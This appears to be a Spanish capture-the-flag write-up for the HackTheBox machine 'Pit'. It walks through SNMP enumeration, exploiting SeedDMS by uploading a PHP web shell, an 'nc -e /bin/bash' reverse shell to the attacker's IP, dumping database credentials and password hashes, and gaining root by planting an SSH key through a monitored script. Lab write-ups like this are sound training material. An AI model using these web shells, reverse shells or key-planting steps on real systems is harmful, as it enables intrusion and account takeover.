Pit – HackTheBox

Pit es una máquina Linux en la cual se va a tratar los siguientes conceptos:

  • Information Leakage
  • SNMP Enumeration (Snmpwalk/Snmpbulkwalk)
  • SeedDMS Exploitation
  • SELinux (Extra)
  • SNMP Code Execution

Lo primero comprobamos que tenemos conectividad con la máquina con un ping (10.10.10.241):

ping -c 1 10.10.10.241
PING 10.10.10.241 (10.10.10.241) 56(84) bytes of data.
64 bytes from 10.10.10.241: icmp_seq=1 ttl=63 time=135 ms

Una vez confirmado que tenemos conexión con la máquina victima, también podemos saber a que nos estamos enfrentando. Si es Linux el TTL será o estará
próximo a 64, en cambio si la máquina es Windows, este será de 128.

El segundo paso en este fase es comprobar los puertos abiertos que tiene la máquina. Lo hacemos mediante el uso de nmap:

nmap -p- --open --min-rate 5000 -vvv -sS -n -Pn 10.10.10.241 -oG allPorts

Aquí tenemos el resultado:

PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
9090/tcp open zeus-admin syn-ack ttl 63

Una vez sabemos que puertos tiene abiertos, lanzamos una serie de scripts de reconocimiento para que nos detecte que servicios y versiones de los mismos
se están ejecutando:

nmap -sCV -p22,80,9090 10.10.10.241 -oN targeted

Aquí el resultado:

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
| ssh-hostkey:
| 3072 6f:c3:40:8f:69:50:69:5a:57:d7:9c:4e:7b:1b:94:96 (RSA)
| 256 c2:6f:f8:ab:a1:20:83:d1:60:ab:cf:63:2d:c8:65:b7 (ECDSA)
|_ 256 6b:65:6c:a6:92:e5:cc:76:17:5a:2f:9a:e7:50:c3:50 (ED25519)
80/tcp open http nginx 1.14.1
|http-title: Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux |_http-server-header: nginx/1.14.1
9090/tcp open  ssl/zeus-admin?
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 400 Bad request
|     Content-Type: text/html; charset=utf8
|     Transfer-Encoding: chunked
|     X-DNS-Prefetch-Control: off
|     Referrer-Policy: no-referrer
|     X-Content-Type-Options: nosniff
|     Cross-Origin-Resource-Policy: same-origin
|     <!DOCTYPE html>
|     <html>
|     <head>
|     <title>
|     request
|     </title>
|     <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <style>
|     body {
|     margin: 0;
|     font-family: "RedHatDisplay", "Open Sans", Helvetica, Arial, sans-serif;
|     font-size: 12px;
|     line-height: 1.66666667;
|     color: #333333;
|     background-color: #f5f5f5;
|     border: 0;
|     vertical-align: middle;
|     font-weight: 300;
|_    margin: 0 0 10p
| ssl-cert: Subject: commonName=dms-pit.htb/organizationName=4cd9329523184b0ea52ba0d20a1a6f92/countryName=US
| Subject Alternative Name: DNS:dms-pit.htb, DNS:localhost, IP Address:127.0.0.1

Como vemos que tiene el puerto 22(ssh), 80(http) y 9090(aparentemente servidor http) abiertos. También podemos ver las versiones de estos servicios y, al final de captura podemos ver dos nombres de dominio. Esto dos nombres de domino los incluimos en nuestro fichero de host para, en el siguiente paso, comprobar si la máquina está aplicando VirtualHost

Una vez hecho eso comprobamos a acceder a los diferentes servicios por el navegador y a ejecutar lo siguiente;

whatweb http://10.10.10.241

http://10.10.10.241 [200 OK] Country[RESERVED][ZZ], HTTPServer[nginx/1.14.1], IP[10.10.10.241], PoweredBy[Red,nginx], Title[Test Page for the Nginx HTTP Server on Red Hat Enterprise Linux], nginx[1.14.1]

Si accedemos por web podemos ver lo siguiente

http://10.10.10.241 o http://pit.htb
Https://pit.htb:9090 o https://10.10.10.241:9090

En este punto vemos que no tenemos credenciales para acceder a los paneles, aunque siempre tenemos que probar claves como admin/admin, guest/guesto buscar credenciales por defecto en Google. Aun así, este no parece ser el caso

Procedemos a enumerar con wfuzz diferentes rutas del servidor pero sin mucho éxito. Os dejo los comandos ejecutados:

wfuzz -c --hc=404 -t 200 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt http://10.10.10.241/WFUZZ
wfuzz -c --hc=404 -t 200 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt http://dms-pit.htb/WFUZZ

Finalmente, nos damos por vencidos en la fase de descubrimiento por TCP y pasamos a revisar que tenemos abierto por UDP:

nmap -sU --top-ports 500 --open -v -n 10.10.10.241 -oG allPortsUDP

Vemos que tenemos abierto el SNMP. Este es un protocolo de administración de redes a través de UDP que permite intercambiar información de administración entre dispositivos de red. Por lo que con herramientas como onesixtyone podemos enumerar que comunidad utiliza el servidor. Para comprobarlo usamos un diccionario con las comunidades mas comunes:

onesixtyone -c /usr/share/seclists/Discovery/SNMP/snmp.txt 10.10.10.241

Scanning 1 hosts, 3220 communities
10.10.10.241 [public] Linux pit.htb 4.18.0-305.10.2.el8_4.x86_64 #1 SMP Tue Jul 20 17:25:16 UTC 2021 x86_64
10.10.10.241 [public] Linux pit.htb 4.18.0-305.10.2.el8_4.x86_64 #1 SMP Tue Jul 20 17:25:16 UTC 2021 x86_64

Una vez vemos que public es lo que buscamos, utilizamos snmpwalk para ver que informacion podemos obtener del servidor. El segundo comando a mostrar hace lo mismo pero más rápido y además. Snmpwalk por defeceto empieza en MIB2, por lo que la especificar el «1» le indicamos que lo haga completo

snmpwalk -v2c -c public 10.10.10.241
snmpbulkwalk -v2c -c public 10.10.10.241 1

Si analizamos el resultado podemos ver lo siguiente:

  • Dos usuarios michelle y root
  • Que se está ejecutando un binario /usr/bin/monitor
  • Y la siguiente ruta del servidor web: /var/www/html/seeddms51x/seeddms

Comprobamos a añadir dicha ruta del servidor en todas las posibilidades que tenemos; en la IP y en los dos nombres de dominio que tenemos y vemos que en dms-pit.htb/seeddms51x/seeddms carga lo siguiente:

Probamos credenciales y accedemos con michelle/michelle y vemos que se trata de un SeedDms, un gestor de documentos.

Con searchsploit vemos que tenemos un exploit para conseguir ejecución remota de comandos y nos explica como hacerlo

searchsploit seeddms -> php/webapps/47022.txt

Si revisamos el exploit con searchsploit -m ruta/al/exploit vemos que los que hay que hacer es loguearse -> subir un documento en la carpeta personal del usuario y luego acceder a dicho fichero.

Lo que hacemos es crear un script en php con el siguiente codigo:

<?php
system($_REQUEST['cmd']);
?>

Lo subimos con el nombre de 1.php (personalizable) y accedemos a la url:
http://dms-pit.htb/seeddms51x/data/1048576/29/1.php?cmd=

Después del = podremos indicarle que comando ejecutar, por ejemplo un ping a nuestra máquina. Esto nos servirá para comprobar si se ejecutan los comandos y para saber si tenemos comunicación inversa para poder abrir una reverse shell. Por lo que lanzo el ping mientras estoy en escucha con tcpdump en mi equipo:

tcpdump -i tun0 icmp -n


tcpdump: verbose output suppressed, use -v[v]… for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
08:33:38.927387 IP 10.10.10.241 > 10.10.14.7: ICMP host 10.10.10.241 unreachable - admin prohibited filter, length 68
08:33:39.114328 IP 10.10.10.241 > 10.10.14.7: ICMP host 10.10.10.241 unreachable - admin prohibited filter, length 68

Vemos que si llega algo pero parece que la acción no está permitida, es así donde entra el firewall SELinux, el cual no nos permitirá entablar una reverse shell de la siguiente forma:

nc -e /bin/bash 10.10.14.7 443

Por lo que para ello vamos a usar un script en Python, el cual obtenemos desde el siguiente enlace con :

wget https://raw.githubusercontent.com/s4vitar/ttyoverhttp/master/tty_over_http.py
rlwrap python3 tty_over_http.py

En el script modificamos la URL en la que se hará la petición, poniendo la URL al fichero php que hemos subido. Así obtendremos una reverse shell con el usuario nginx.

Si nos movemos por el servidor vemos que hay una carpeta config y dentro un fichero setttings.xml. En este vemos un usuario y contraseña de la base de datos:

  • BD: seeddms
  • User: userdms
  • Pass: ied^ieY6xoquu

Nos podemos conectar a la base de datos y revisar que tablas hay creadas y el contenido de las mismas por lo que obtenemos varios usuarios y contraseñas cifradas. Aquí mi consulta y los datos obtenidos:

mysql -useeddms -pied^ieY6xoquu -e 'select email,pwd from tblUsers' seeddms
EmailContraseña
admin@pit.htb155dd275b4cb74bd1f80754b61148863
michelle@pit.htb2345f10bb948c5665ef91f6773b3e455
jack@dms-pit.htb682d305fdaabc156430c4c6f6f5cc65d

Lo realmente importante aquí no son esos datos si no es confirmar que existe un usuario admin y hay una contraseña de administrador, la de la base de datos. Probamos este login en el panel que veiamos de Centos al principio de la máquina y accedemos correctamente. Desde aquí podemos obtener la flag del user.

En este panel tenemos una opción llamada terminal desde la cual podemos crear una reverse shell con el comando:

bash -e MiIP PUERTO

Ahora, una vez en la máquina tenemos que recordar la información que vimos antes sobre el binario que se ejecutaba. /usr/bin/monitor

Revisamos que script se está ejecutando y vemos lo que está haciendo es ejecutar todos los ficheros llamados check*sh. Por lo que, en este caso lo que hacemos es generar un par de claves de ssh y hacer un script llamado checkea.sh hace un echo de nuestra clave pública y lo mete en el direccion /root/.ssh/autorized_keys

Despues de que se ejecute dicho script, podremos conectarnos por ssh como root. Obteniendo la flag de root.